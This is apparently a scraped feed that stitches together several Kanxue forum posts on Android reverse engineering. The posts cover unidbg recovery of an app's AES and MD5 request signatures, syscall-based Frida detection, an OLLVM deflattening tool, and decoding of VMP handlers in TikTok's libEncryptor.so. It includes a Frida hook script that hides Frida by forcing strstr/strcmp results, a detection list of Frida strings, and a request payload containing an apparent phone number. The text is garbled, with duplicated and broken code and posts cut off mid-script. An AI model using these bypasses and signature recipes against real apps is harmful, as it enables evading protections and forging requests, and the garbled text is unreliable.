a7089bdf6121995f82e8a15896b6f883f9b41fda7a1a820074caa3b13027d7945012ba38fa4e3c97bc13ad3e6d747936475b59990c8aa2f02c20f4e2e3eaf18d0cc2339bb457db167fae462346059e4c1153d3ca59aba55108
\\n
修改 unidbg的入参
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | private void callNativeFunc() { //args List<Object> args = new ArrayList<>( 10 ); args.add(vm.getJNIEnv()); args.add( 0 ); //jclass // String par1 = \\"lvdouzhoulvdouzhlvdouzhoulvdouzh\\"; // String par1 = \\"lvdouzhou\\"; String par1 = \\"{\\\\\\"blackBox\\\\\\":\\\\\\"eyJvcyI6ImFuZHJvaWQiLCJ2ZXJzaW9uIjoiMy4zLjciLCJwYWNrYWdlcyI6ImNvbS5sdWNreS5sdWNreWNsaWVudComNS4wLjAxIiwicHJvZmlsZV90aW1lIjoxNDcsImludGVydmFsX3RpbWUiOjIxNzMsInRva2VuX2lkIjoibk9cL2VhbHJjQkY2WU5wUGF0dDk4Q292T1FUYkRFUEM4NHFVM1ozSThLa2xcL1RNb1J1WUZWcGd6QVwvOGZ4T01zcHJvYXFmaEZXSWpNb2RHWENnYkw3SzFHYzBTdDY2cjFpZE5tNXFJS1Zkc2M9In0=\\\\\\",\\\\\\"uniqueCode\\\\\\":\\\\\\"DU5SBJsdw1JfKSzzQ22IzTIOzNbvm6BpYQd8RFU1U0JKc2R3MUpmS1N6elEyMkl6VElPek5idm02QnBZUWQ4c2h1\\\\\\",\\\\\\"regionId\\\\\\":\\\\\\"CO0001\\\\\\",\\\\\\"mobile\\\\\\":\\\\\\"15712170935\\\\\\",\\\\\\"countryNo\\\\\\":\\\\\\"86\\\\\\",\\\\\\"validateCode\\\\\\":\\\\\\"111111\\\\\\",\\\\\\"regId\\\\\\":\\\\\\"\\\\\\",\\\\\\"appversion\\\\\\":\\\\\\"5001\\\\\\",\\\\\\"type\\\\\\":1,\\\\\\"deviceId\\\\\\":\\\\\\"android_lucky_d169e58de60a856d\\\\\\",\\\\\\"systemVersion\\\\\\":\\\\\\"29\\\\\\",\\\\\\"deviceBrand\\\\\\":\\\\\\"google\\\\\\"}\\" ; args.add(vm.addLocalObject( new ByteArray(vm, par1.getBytes()))); args.add( 0 ); //最后一个参数 //主动调用功能 Number retNum = module.callFunction(emulator, 0x1b1cd , args.toArray()); ByteArray retByteArr = vm.getObject(retNum.intValue()); String retHex = bytesToHex(retByteArr.getValue()); //16字节 System.out.println( \\"retHex->\\" +retHex); } |
得到结果
\\n一毛一样
\\n自此 q 就分析出来啦 。需要注意的是,根据之前 java 层的分析,生成 q 之后要进行 base64 编码。且替换掉对应的字符串
\\n参数 sign 来自 md5 ,前面知 md_crypt 的地址是 0x1a981
\\n先主动调用
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | private void call_md5(){ // 0x1a981 // android_native_md5(JNIEnv *env, jclass clazz, jbyteArray jarray, jint jmode) List<Object> args = new ArrayList<>( 10 ); args.add(vm.getJNIEnv()); args.add( 0 ); //jclass String par1 = \\"lvdouzhou\\" ; args.add(vm.addLocalObject( new ByteArray(vm,par1.getBytes()))); args.add( 1 ); //jmode Number retNum = module.callFunction(emulator, 0x1a981 , args.toArray()); ByteArray retByteArr = vm.getObject(retNum.intValue());retNum.intValue(); String md5result = new String(retByteArr.getValue(), StandardCharsets.UTF_8); System.out.println( \\"md5result:\\" +md5result); } |
得到的结果为 306551304117879571918511965941451501018 长度为 39
\\n跳转到 0x1a981 看看这个函数,也都是控制流混淆。同样的套路,先大概看下有没有什么特征函数
\\n找到了两个 doMD5sign 和 md5 hook两个函数看看是否调用
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | private void md5_hook(){ Debugger debugger = emulator.attach(); //md5(indata_jarray, initial_len, v25) debugger.addBreakPoint(module.base + 0x13E3C , new BreakPointCallback() { @Override public boolean onHit(Emulator<?> emulator, long address) { System.out.println( \\"md5 0x13E3C \\" ); return true ; } }); // doMD5sign(v41, initial_len + 20, &v53); debugger.addBreakPoint(module.base + 0x14D54 , new BreakPointCallback() { @Override public boolean onHit(Emulator<?> emulator, long address) { System.out.println( \\"doMD5sign 0x14D54 \\" ); return true ; } }); } |
先调用了 doMD5sign 。那先看看这个函数的参数。第一个参数是要加密的字符串。第二个参数是长度。第三个参数应该就是返回值了 。
\\n记住 r2 的地址 0xbffff6f4,等下要用来查看返回值的。同时注意到 第三个参数是 **digest 这种的格式是二级指针的意思。 *digest 表示 digest 的地址。 *digest 本身也存放在内存的某个地址中,*digest 的地址为 **digest 。也就是说第三个参数其实是一个指针地址,如果要获取里面实际的内容。我们要把这个内容当一个地址,然后再去读取这个地址里面的内容。有点绕,后面直接看演示吧。
\\n1 2 3 | int a = 10; int *p = &a; int **pp = &p; |
内存布局
\\n\\n\\n\\n
\\n- \\n
a
是一个整型变量,存储值10
。- \\n
p
是一个一级指针,存储a
的地址。- \\n
pp
是一个二级指针,存储p
的地址。
在我们传入的字符串后面有加盐的操作,加了 dJLdCJiVnDvM9JUpsom9。下一个 lr 断点。c 继续执行
\\nm0xbffff6f4
\\n这里有个知识点就是 unidbg中的地址都是 40 开头的。还有一个就是在 md5的运算过程中数据在内存中都是用小端序的形成存放的。
\\n\\n\\n4个字节的数据 0x12345678
\\n大端序 : 12 34 56 78
\\n小端序 : 78 56 34 12
\\n
且因为前面说过了,第三个参数是一个二级指针。所以这里的数据起始是指向原始数据的地址,这个地址转换过来就是 0x402D2000。
\\n然后读取这个地址的数据 m0x402D2000
\\nunidbg 运行得到的结果为 306551304117879571918511965941451501018 ,两个对比就是我们的目标结果。
\\n但是标准的 md5 lvdouzhou 得到的值为 b2cf7dd26f44f87f74d67885a026c96c。所以里面应该还做了其他处理。在前面的hook 知道。里面还调用了一个 md5 的函数 。我们先进入 doMD5sign
\\n可以看到的确是调用了 md5 ,但是后面还有一个可疑的 bytesToInt 函数。这里的 md5 hook之后查看返回值后,是一个标准的md5 。
\\n代码下面还有三个 strcat ,把4 个数据进行拼接得到最终的数据。hook strcat 查看拼接的数据
\\n这两个数据就是我们最终值的 306551304117879571918511965941451501018 的前面部分。所以只要分析清楚 bytesToInt 这里面是如何操作。就可以得到最终的sign值。这里就暂时不做分析了。因为不是本篇文章的目的。
\\nq 来自白盒 aes,然后进行了base64编码,且对bs64结果的字符进行了替换。sign 来自 md5算法,md5的结果再进行了 bytesToInt 拼接得到最终的结果。
\\n此次通过hook haskmap 定位了 java 的加密参数的位置。跟踪进入native 层,虽然代码被 ollvm 混淆过。通过个别函数我们也猜测到对应的算法。结合unidbg 下断点找到 DFA攻击的时间点。最终得到了 AES 的key 。总体难度适中,适合练手。到此,多谢各位大佬时间。
\\n[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
\\n普通的检测总结以下几种手段:
检测/data/local/tmp下的frida特征文件,frida默认端口27042
双进程检测
检测/proc/pid/maps、/proc/pid/task/tid/stat、/proc/pid/fd中的frida特征
检测D-BUS
安卓系统使用Binder机制来实现进程间通信(IPC),而不是使用D-Bus。检测函数向所有端口发送d-bus消息,如果返回reject就说明fridaserver开启。
我们可以看到,上面使用的绕过技巧,大多都和系统函数有关系,那么如果app中不调用这些系统函数,而是用自实现的函数来进行操作,不就很难hook了吗?
这里就有一种自实现函数的技术:svc
。
通过安卓架构的学习,我们知道了安卓从上到下也是由层来分隔的,而层与层之间不能直接交互,而是需要一个中间层来进行操作。我们常见的jni
就是Java
层和native
层的交互。而syscall
就是kernel
和native
之间的中间层。
svc
是x86架构中的一个指令,用于在用户模式下发起系统调用。当执行svc
指令时,处理器会从用户态转换为内核态,执行内核级别的命令。
开发者可以通过syscall
来执行内核函数,而不是直接使用系统函数,下面介绍几种防护手段:
直接使用syscall替代libc函数:
不使用标准C库函数,而是直接调用系统调用。这样可以绕过常见的hook点,因为大多数hook工具主要针对libc函数。
实现关键功能的自定义syscall wrapper:
为关键的系统调用创建自己的包装函数
动态生成syscall:
在运行时动态生成syscall指令(直接使用机器码,和下面的汇编差不多)
使用汇编实现syscall
:
直接使用汇编语言实现系统调用
最后再举一个实际检测frida的syscall
例子:
网上对frida的检测通常会使用openat、open、strstr、pthread_create、snprintf、sprintf、readlinkat等一系列函数,这里hook了strstr和strcmp函数。
检测点说明:
我们通过上面的学习看到,自实现系统函数一个重要的前提就是它们都有标准的系统调用号,标准的机器码。所以我们绕过的时候也可以用同样的思路。
Frida的Memory API可以直接查找整个系统的内存内容,我们直接搜索对应函数的特征码,定位到之后再使用Interceptor进行Hook。(要注意每个架构对应的特征可能不一样)
#include <sys/syscall.h> //SYS_open SYS_read SYS_close都是syscall.h中的常量
//代表系统调用的编号。在Linux系统中,每个系统调用都有一个唯一的编号
\\n#include <unistd.h>
#include <fcntl.h>
int
my_open(
const
char
*pathname,
int
flags) {
\\n
return
syscall(SYS_open, pathname, flags);
\\n}
ssize_t my_read(
int
fd,
void
*buf,
size_t
count) {
\\n
return
syscall(SYS_read, fd, buf, count);
\\n}
int
my_close(
int
fd) {
\\n
return
syscall(SYS_close, fd);
\\n}
// 使用示例
int
main() {
\\n
int
fd = my_open(
\\"/path/to/file\\"
, O_RDONLY);
//fd代表文件标识符,代表打开的是哪个文件
\\n
if
(fd != -1) {
\\n
char
buffer[100];
\\n
ssize_t bytes_read = my_read(fd, buffer,
sizeof
(buffer));
\\n
my_close(fd);
\\n
}
\\n
return
0;
\\n}
#include <sys/syscall.h> //SYS_open SYS_read SYS_close都是syscall.h中的常量
//代表系统调用的编号。在Linux系统中,每个系统调用都有一个唯一的编号
\\n#include <unistd.h>
#include <fcntl.h>
int
my_open(
const
char
*pathname,
int
flags) {
\\n
return
syscall(SYS_open, pathname, flags);
\\n}
ssize_t my_read(
int
fd,
void
*buf,
size_t
count) {
\\n
return
syscall(SYS_read, fd, buf, count);
\\n}
int
my_close(
int
fd) {
\\n
return
syscall(SYS_close, fd);
\\n}
// 使用示例
int
main() {
\\n
int
fd = my_open(
\\"/path/to/file\\"
, O_RDONLY);
//fd代表文件标识符,代表打开的是哪个文件
\\n
if
(fd != -1) {
\\n
char
buffer[100];
\\n
ssize_t bytes_read = my_read(fd, buffer,
sizeof
(buffer));
\\n
my_close(fd);
\\n
}
\\n
return
0;
\\n}
#include <sys/syscall.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
ssize_t secure_read(
int
fd,
void
*buf,
size_t
count) {
\\n
// 完整性检查
\\n
if
(syscall(SYS_gettid) != syscall(SYS_getpid)) {
\\n
// 可能正在被调试,终止操作
\\n
return
-1;
\\n
}
\\n
// 执行实际的读取操作
\\n
ssize_t bytes_read = syscall(SYS_read, fd, buf, count);
\\n
// 数据校验 (简单示例,实际应用中可能需要更复杂的校验)
\\n
if
(bytes_read > 0) {
\\n
for
(ssize_t i = 0; i < bytes_read; i++) {
\\n
((
char
*)buf)[i] ^= 0x55;
// 简单的XOR操作
\\n
}
\\n
}
\\n
return
bytes_read;
\\n}
#include <sys/syscall.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
ssize_t secure_read(
int
fd,
void
*buf,
size_t
count) {
\\n
// 完整性检查
\\n
if
(syscall(SYS_gettid) != syscall(SYS_getpid)) {
\\n
// 可能正在被调试,终止操作
\\n
return
-1;
\\n
}
\\n
// 执行实际的读取操作
\\n
ssize_t bytes_read = syscall(SYS_read, fd, buf, count);
\\n
// 数据校验 (简单示例,实际应用中可能需要更复杂的校验)
\\n
if
(bytes_read > 0) {
\\n
for
(ssize_t i = 0; i < bytes_read; i++) {
\\n
((
char
*)buf)[i] ^= 0x55;
// 简单的XOR操作
\\n
}
\\n
}
\\n
return
bytes_read;
\\n}
#include <sys/mman.h>
#include <string.h>
typedef
long
(*syscall_fn)(
long
, ...);
\\nsyscall_fn generate_write_syscall() {
// 分配可执行内存
\\n
void
* mem = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
\\n
// x86-64 架构的 write syscall 机器码
\\n
unsigned
char
code[] = {
\\n
0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00,
// mov rax, 1 (write syscall number)
\\n
0x0f, 0x05,
// syscall
\\n
0xc3
// ret
\\n
};
\\n
// 复制代码到可执行内存
\\n
memcpy
(mem, code,
sizeof
(code));
\\n
return
(syscall_fn)mem;
\\n}
// 使用示例
int
main() {
\\n
syscall_fn my_write = generate_write_syscall();
\\n
const
char
*msg =
\\"Hello, World!\\\\n\\"
;
\\n
my_write(1, msg,
strlen
(msg));
\\n
return
0;
\\n}
#include <sys/mman.h>
#include <string.h>
typedef
long
(*syscall_fn)(
long
, ...);
\\nsyscall_fn generate_write_syscall() {
// 分配可执行内存
\\n
void
* mem = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
\\n
// x86-64 架构的 write syscall 机器码
\\n
unsigned
char
code[] = {
\\n
0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00,
// mov rax, 1 (write syscall number)
\\n
0x0f, 0x05,
// syscall
\\n
0xc3
// ret
\\n
};
\\n
// 复制代码到可执行内存
\\n
memcpy
(mem, code,
sizeof
(code));
\\n
return
(syscall_fn)mem;
\\n}
// 使用示例
int
main() {
\\n
syscall_fn my_write = generate_write_syscall();
\\n
const
char
*msg =
\\"Hello, World!\\\\n\\"
;
\\n
my_write(1, msg,
strlen
(msg));
\\n
return
0;
\\n}
#include <jni.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
JNIEXPORT jboolean JNICALL
Java_com_example_SecurityCheck_detectFrida(JNIEnv *env, jobject thiz) {
char
line[256];
\\n
int
fd = syscall(SYS_open,
\\"/proc/self/maps\\"
, O_RDONLY);
\\n
if
(fd != -1) {
\\n
while
(syscall(SYS_read, fd, line,
sizeof
(line)) > 0) {
\\n
if
(
strstr
(line,
\\"frida\\"
) ||
strstr
(line,
\\"gum-js-loop\\"
)) {
\\n
syscall(SYS_close, fd);
\\n
return
JNI_TRUE;
\\n
}
\\n
}
\\n
syscall(SYS_close, fd);
\\n
}
\\n
return
JNI_FALSE;
\\n}
#include <jni.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
JNIEXPORT jboolean JNICALL
Java_com_example_SecurityCheck_detectFrida(JNIEnv *env, jobject thiz) {
char
line[256];
\\n
int
fd = syscall(SYS_open,
\\"/proc/self/maps\\"
, O_RDONLY);
\\n
if
(fd != -1) {
\\n
while
(syscall(SYS_read, fd, line,
sizeof
(line)) > 0) {
\\n
if
(
strstr
(line,
\\"frida\\"
) ||
strstr
(line,
\\"gum-js-loop\\"
)) {
\\n
syscall(SYS_close, fd);
\\n
return
JNI_TRUE;
\\n
}
\\n
}
\\n
syscall(SYS_close, fd);
\\n
}
\\n
return
JNI_FALSE;
\\n}
function
replace_str() {
\\n
var
pt_strstr = Module.findExportByName(
\\"libc.so\\"
,
\'strstr\'
);
\\n
var
pt_strcmp = Module.findExportByName(
\\"libc.so\\"
,
\'strcmp\'
);
\\n
Interceptor.attach(pt_strstr, {
\\n
onEnter:
function
(args) {
\\n
var
str1 = args[0].readCString();
\\n
var
str2 = args[1].readCString();
\\n
if
(str2.indexOf(
\\"tmp\\"
) !== -1 ||
\\n
str2.indexOf(
\\"frida\\"
) !== -1 ||
\\n
str2.indexOf(
\\"gum-js-loop\\"
) !== -1 ||
\\n
str2.indexOf(
\\"gmain\\"
) !== -1 ||
\\n
str2.indexOf(
\\"gdbus\\"
) !== -1 ||
\\n
str2.indexOf(
\\"pool-frida\\"
) !== -1||
\\n
str2.indexOf(
\\"linjector\\"
) !== -1) {
\\n
//console.log(\\"strcmp--\x3e\\", str1, str2);
\\n
this
.hook =
true
;
\\n
}
\\n
}, onLeave:
function
(retval) {
\\n
if
(
this
.hook) {
\\n
retval.replace(0);
\\n
}
\\n
}
\\n
});
\\n
Interceptor.attach(pt_strcmp, {
\\n
onEnter:
function
(args) {
\\n
var
str1 = args[0].readCString();
\\n
var
str2 = args[1].readCString();
\\n
if
(str2.indexOf(
\\"tmp\\"
) !== -1 ||
\\n
str2.indexOf(
\\"frida\\"
) !== -1 ||
\\n
str2.indexOf(
\\"gum-js-loop\\"
) !== -1 ||
\\n
str2.indexOf(
\\"gmain\\"
) !== -1 ||
\\n
str2.indexOf(
\\"gdbus\\"
) !== -1 ||
\\n
str2.indexOf(
\\"pool-frida\\"
) !== -1||
\\n
str2.indexOf(
\\"linjector\\"
) !== -1) {
\\n
//console.log(\\"strcmp--\x3e\\", str1, str2);
\\n
this
.hook =
true
;
\\n
}
\\n
}, onLeave:
function
(retval) {
\\n
if
(
this
.hook) {
\\n
retval.replace(0);
\\n
}
\\n
}
\\n
})
\\n
}
replace_str(); 一把梭方案
function
replace_str() {
\\n
var
pt_strstr = Module.findExportByName(
\\"libc.so\\"
,
\'strstr\'
);
\\n
var
pt_strcmp = Module.findExportByName(
\\"libc.so\\"
,
\'strcmp\'
);
\\n
Interceptor.attach(pt_strstr, {
\\n
onEnter:
function
(args) {
\\n
var
str1 = args[0].readCString();
\\n
var
str2 = args[1].readCString();
\\n
if
(str2.indexOf(
\\"tmp\\"
) !== -1 ||
\\n[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!
\\n\\n\\n\\n\\n\\n\\n\\n","description":"普通的检测总结以下几种手段: 检测/data/local/tmp下的frida特征文件,frida默认端口27042\\n\\n双进程检测\\n\\n检测/proc/pid/maps、/proc/pid/task/tid/stat、/proc/pid/fd中的frida特征\\n\\n检测D-BUS\\n\\n安卓系统使用Binder机制来实现进程间通信(IPC),而不是使用D-Bus。检测函数向所有端口发送d-bus消息,如果返回reject就说明fridaserver开启。\\n\\n我们可以看到,上面使用的绕过技巧,大多都和系统函数有关系,那么如果app中不调用这些系统函数,而是用自实现的函数来进行操作…","guid":"https://bbs.kanxue.com/thread-284941.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2024-12-23T02:16:00.143Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202412/1002632_TQUXV2PHX3ECTQF.png","type":"photo"}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创] 自写简易Arm64模拟执行去除控制流平坦化","url":"https://bbs.kanxue.com/thread-284890.htm","content":"\\n\\n以上其实就是比较简易的一个分发块伪代码; 一个简单的if逻辑编译成So 经过Fla会变成这样的CFG图
F5的结果是这样的
结合一下伪代码可以看出分支的控制由CSEL指令来决定的 即为
那么此项值在哪初始化呢? 在主分发器开始进入之前
根据特征可以发现控制分发器的形式是一个确定的立即数写入寄存器来完成,那么我们的模拟执行也可以根据以上的特征来提取指令,并且可以伪造CSEL的执行来得到2个不同的分支。这样我们就完成了else分支的读取
源码中也是如此 在进入第一条满足条件之前,先对当前的寄存器快照的保存,读取到分支后还原快照,再写入第二个分支的立即数。这样即可得到if else 的所有分支。 如果单线的线性分支,那么直接根据B指令跳转的地址。判断该地址是什么块,以此为递归查找就可遍历出所有的分支。代码如下:
总体的代码量并不多,大部分的代码还是适配各种复杂情况下的汇编指令。核心的逻辑基本上就在上面。
接下来我们看看实际的效果:
原F5
还原后的F5
可能没有代表性。来个复杂一点点的
CFG图:
F5
还原后:
基本上是能完美的解出各种不同的条件分支,也不需要手动干预寄存器的状态。
关于分发器的查找在源码 CFFAnalyer 可自行实现或对块进行标识
关于反Ollvm 介绍在此结束。 希望对大家所有帮助。有兴趣维护项目也可进行Fork修改 @乐子 好兄弟 快来改代码
Label1:
int
a = 100;
\\n
switch
(a)
\\n
{
\\n
case
98:
\\n
{
\\n
//Logic
\\n
a = 101;
\\n
goto
Label1;
\\n
}
\\n
case
99:
\\n
{
\\n
//Logic
\\n
a = 98;
\\n
goto
Label1;
\\n
}
\\n
case
100:
\\n
{
\\n
//Logic
\\n
a = 99;
\\n
goto
Label1;
\\n
}
\\n
default
:
\\n
break
;
\\n
}
\\nLabel1:
int
a = 100;
\\n
switch
(a)
\\n
{
\\n
case
98:
\\n
{
\\n
//Logic
\\n
a = 101;
\\n
goto
Label1;
\\n
}
\\n
case
99:
\\n
{
\\n
//Logic
\\n
a = 98;
\\n
goto
Label1;
\\n
}
\\n
case
100:
\\n
{
\\n
//Logic
\\n
a = 99;
\\n
goto
Label1;
\\n
}
\\n
default
:
\\n
break
;
\\n
}
\\n__int64
__fastcall sub_181E0C(
__int64
a1)
\\n{
int
v2;
// w8
\\n
__int64
v3;
// x0
\\n
__int64
v4;
// x1
\\n
__int64
v5;
// x2
\\n
__int128 v7;
// [xsp+0h] [xbp-70h] BYREF
\\n
char
v8;
// [xsp+10h] [xbp-60h]
\\n
__int64
v9;
// [xsp+28h] [xbp-48h]
\\n
v2 = 1999739781;
\\n
v9 = qword_7289F8;
\\n
while
( 1 )
\\n
{
\\n
while
( v2 == 1087191716 )
\\n
{
\\n
v8 = -12;
\\n
v7 = xmmword_587FDD;
\\n
qword_7289F8 = (
__int64
)sub_1815C0(&v7, 17);
\\n
v2 = -1880484146;
\\n
}
\\n
if
( v2 != 1999739781 )
\\n
break
;
\\n
if
( v9 )
\\n
v2 = -1880484146;
\\n
else
\\n
v2 = 1087191716;
\\n
}
\\n
sub_165910(*(_QWORD *)(a1 + 8), aVIsvSvS, *(_QWORD *)(a1 + 32));
\\n
v3 = sub_15D4E4(*(_QWORD *)(a1 + 8), 3LL);
\\n
return
sub_181EE0(v3, v4, v5);
\\n__int64
__fastcall sub_181E0C(
__int64
a1)
\\n{
int
v2;
// w8
\\n
__int64
v3;
// x0
\\n
__int64
v4;
// x1
\\n
__int64
v5;
// x2
\\n
__int128 v7;
// [xsp+0h] [xbp-70h] BYREF
\\n
char
v8;
// [xsp+10h] [xbp-60h]
\\n
__int64
v9;
// [xsp+28h] [xbp-48h]
\\n
v2 = 1999739781;
\\n
v9 = qword_7289F8;
\\n
while
( 1 )
\\n
{
\\n
while
( v2 == 1087191716 )
\\n
{
\\n
v8 = -12;
\\n
v7 = xmmword_587FDD;
\\n
qword_7289F8 = (
__int64
)sub_1815C0(&v7, 17);
\\n
v2 = -1880484146;
\\n
}
\\n
if
( v2 != 1999739781 )
\\n
break
;
\\n
if
( v9 )
\\n
v2 = -1880484146;
\\n
else
\\n
v2 = 1087191716;
\\n
}
\\n
sub_165910(*(_QWORD *)(a1 + 8), aVIsvSvS, *(_QWORD *)(a1 + 32));
\\n
v3 = sub_15D4E4(*(_QWORD *)(a1 + 8), 3LL);
\\n
return
sub_181EE0(v3, v4, v5);
\\nCSEL W8, W24, W21, EQ
CSEL W8, W24, W21, EQ
MOV W21,
#0x16CE
\\nMOV W23,
#0x9B85
\\nMOV W24,
#0x3AA4
\\nADRP X26,
#xmmword_587FDD@PAGE
\\nMOV W8,
#0x9B85
\\nMOV X20, X1
MOV X19, X0
MOVK W21,
#0x8FEA,LSL#16
\\nMOVK W23,
#0x7731,LSL#16
\\nMOVK W24,
#0x40CD,LSL#16
\\nMOV W25,
#0xF4
\\nADD X26, X26,
#xmmword_587FDD@PAGEOFF
\\nMOVK W8,
#0x7731,LSL#16
\\nSTR
X4, [SP,
#0x70+var_48]
\\nMOV W21,
#0x16CE
\\nMOV W23,
#0x9B85
\\nMOV W24,
#0x3AA4
\\nADRP X26,
#xmmword_587FDD@PAGE
\\nMOV W8,
#0x9B85
\\nMOV X20, X1
MOV X19, X0
MOVK W21,
#0x8FEA,LSL#16
\\nMOVK W23,
#0x7731,LSL#16
\\nMOVK W24,
#0x40CD,LSL#16
\\nMOV W25,
#0xF4
\\nADD X26, X26,
#xmmword_587FDD@PAGEOFF
\\nMOVK W8,
#0x7731,LSL#16
\\n本文仅限于技术讨论,不得用于非法途径,后果自负。
这是萌新第一次逆向vmp,主要是分享分析过程,这里借鉴了金罡大佬的文章https://bbs.kanxue.com/thread-282300.htm,vmp的内存布局和context 在我选用的这个版本差别并不大。选用的TT 中libEncryptor.so 中被vm 的jnionload。
用ida打开so 定位到AF8 ,看一下cfg
下面这一排就是handle的实现了
不过handle太多了 我只会还原被执行的指令集。
从下面两张图可以看出vm指令集4字节对齐和arm一致 ,在后面的逆向中发现开发者并没有实现指令集或者说指令集就是arm64
还原指令的第一步就是解析出指令中携带的信息,一般来说,有这几个信息
1.指令类型
2.寄存器信息
3.立即数
可以看到在虚拟机循环的开头就是虚拟机取出指令各个信息的过程
可以看到 指令类型 sourceREG destREG opcode 这几个关键的信息
可以理解为虚拟机使用的寄存器 堆栈 等信息
这里可以参考金罡大佬的文章https://bbs.kanxue.com/thread-282300.htm 这个版本没什么变化,唯一注意的是我并不是通过汇编而是f5代码来确定coutext的结构的,而开发者为了对抗,这个context结构体是负指针寻址的 所以需要自己patch代码
比如 STP X3, X20, [X19,#-0x100]=>STP X3, X20, [X19,#0x100]
这个方法中只需要patch 所有有关x19的指针操作即可
效果图
这个可能是最头疼的一点,明明开发者写的就是一个while switch 可是被编译器优化后代码复用,各种跳转比如
可能你找handle的时间都比逆向handle的时间长
这里,我使用了一个实验性质的方法
利用trace在剔除控制流指令后重新patch
效果图
可以看到 所有handle都被打印出来了
指令缩短 变成单次打印单个handle
这样我觉得是提高了我的分析效率
这个是我觉得最繁琐的地方,我看了我还原出来的指令和金罡大佬的还原,还是细节不够
对比可以看到mov少了个z,这就是细节不够,另外还有对arm指令集不够熟悉一些偏门指令如果不知道那就完犊子了
这是我还原最后一个handle看出来的 原先我以为是cmp 但是不对劲,简而言之就是每一次call 后会检查返回值 如果返回值对 vm_pc+2 结合br指令集 lr = pc+2 刚好四字节对齐,如果不对 哦吼 pc +2 指令集对齐直接挂 随机崩溃
br handle
/
/
unsigned
int
code
\\n/
/
Bit_28_State
=
code &
0x10000000
;
\\n/
/
Bit_29_State
=
code &
0x20000000
;
\\n/
/
Bit_30_State
=
code &
0x40000000
;
\\n/
/
v17
=
(code >>
11
) &
2
| (code >>
31
) | (code >>
11
) &
4
| (code >>
11
) &
8
| (code >>
11
) &
0x10
;
/
/
提取第
31
位 提取第
12
,
13
,
14
,
15
位 组合
\\n/
/
/
/
[
15
,
14
,
13
,
12
,
31
]
\\n/
/
sourceREG
=
(code >>
21
) &
0x1F
;
/
/
取第
22
=
>
26
的值
\\n/
/
/
/
[
26
,
25
,
24
,
23
,
22
]
\\n/
/
destREG
=
HIWORD(code) &
0x1F
;
/
/
取
17
>
21
位
\\n/
/
/
/
[
21
,
20
,
19
,
18
,
17
]
\\n/
/
Bit_31_State
=
code &
0x80000000
;
\\n/
/
Bit_30_State_1
=
code &
0x4000000
;
\\n/
/
Bit_31_State_1
=
code &
0x8000000
;
\\nvar
type
=
code.
and
(
0x3f
)
\\nvar code
=
this.vm_handles
\\nvar sourceREG
=
code.shr(
21
).
and
(
0x1F
)
\\nvar destREG
=
code.shr(
16
).
and
(
0x1F
)
\\nvar Bit_28_State
=
code.
and
(
0x10000000
)
\\nvar Bit_29_State
=
code.
and
(
0x20000000
)
\\nvar Bit_30_State
=
code.
and
(
0x40000000
)
\\nvar Bit_31_State
=
code.
and
(
0x80000000
)
\\nvar Bit_30_State_1
=
code.
and
(
0x4000000
)
\\nvar Bit_31_State_1
=
code.
and
(
0x8000000
)
\\nvar intv17
=
code.toUInt32()
\\nvar v17
=
(intv17 >>>
11
) &
2
| (intv17 >>>
31
) | (intv17 >>>
11
) &
4
| (intv17 >>>
11
) &
8
| (intv17 >>>
11
) &
0x10
\\nlet opcode
=
code.
and
(
0xF000
).
or
(Bit_30_State_1.shr(
20
)).
or
(code.shr(
6
).
and
(
0x3F
)).
or
(Bit_31_State_1.shr(
20
)).
or
(Bit_28_State.shr(
20
)).
or
(Bit_29_State.shr(
20
)).
or
(Bit_30_State.shr(
20
)).
or
(Bit_31_State.shr(
20
))
\\n/
/
unsigned
int
code
\\n/
/
Bit_28_State
=
code &
0x10000000
;
\\n/
/
Bit_29_State
=
code &
0x20000000
;
\\n/
/
Bit_30_State
=
code &
0x40000000
;
\\n/
/
v17
=
(code >>
11
) &
2
| (code >>
31
) | (code >>
11
) &
4
| (code >>
11
) &
8
| (code >>
11
) &
0x10
;
/
/
提取第
31
位 提取第
12
,
13
,
14
,
15
位 组合
\\n/
/
/
/
[
15
,
14
,
13
,
12
,
31
]
\\n/
/
sourceREG
=
(code >>
21
) &
0x1F
;
/
/
取第
22
=
>
26
的值
\\n/
/
/
/
[
26
,
25
,
24
,
23
,
22
]
\\n/
/
destREG
=
HIWORD(code) &
0x1F
;
/
/
取
17
>
21
位
\\n/
/
/
/
[
21
,
20
,
19
,
18
,
17
]
\\n/
/
Bit_31_State
=
code &
0x80000000
;
\\n/
/
Bit_30_State_1
=
code &
0x4000000
;
\\n/
/
Bit_31_State_1
=
code &
0x8000000
;
\\nvar
type
=
code.
and
(
0x3f
)
\\nvar code
=
this.vm_handles
\\nvar sourceREG
=
code.shr(
21
).
and
(
0x1F
)
\\nvar destREG
=
code.shr(
16
).
and
(
0x1F
)
\\nvar Bit_28_State
=
code.
and
(
0x10000000
)
\\nvar Bit_29_State
=
code.
and
(
0x20000000
)
\\nvar Bit_30_State
=
code.
and
(
0x40000000
)
\\nvar Bit_31_State
=
code.
and
(
0x80000000
)
\\nvar Bit_30_State_1
=
code.
and
(
0x4000000
)
\\nvar Bit_31_State_1
=
code.
and
(
0x8000000
)
\\nvar intv17
=
code.toUInt32()
\\nvar v17
=
(intv17 >>>
11
) &
2
| (intv17 >>>
31
) | (intv17 >>>
11
) &
4
| (intv17 >>>
11
) &
8
| (intv17 >>>
11
) &
0x10
\\nlet opcode
=
code.
and
(
0xF000
).
or
(Bit_30_State_1.shr(
20
)).
or
(code.shr(
6
).
and
(
0x3F
)).
or
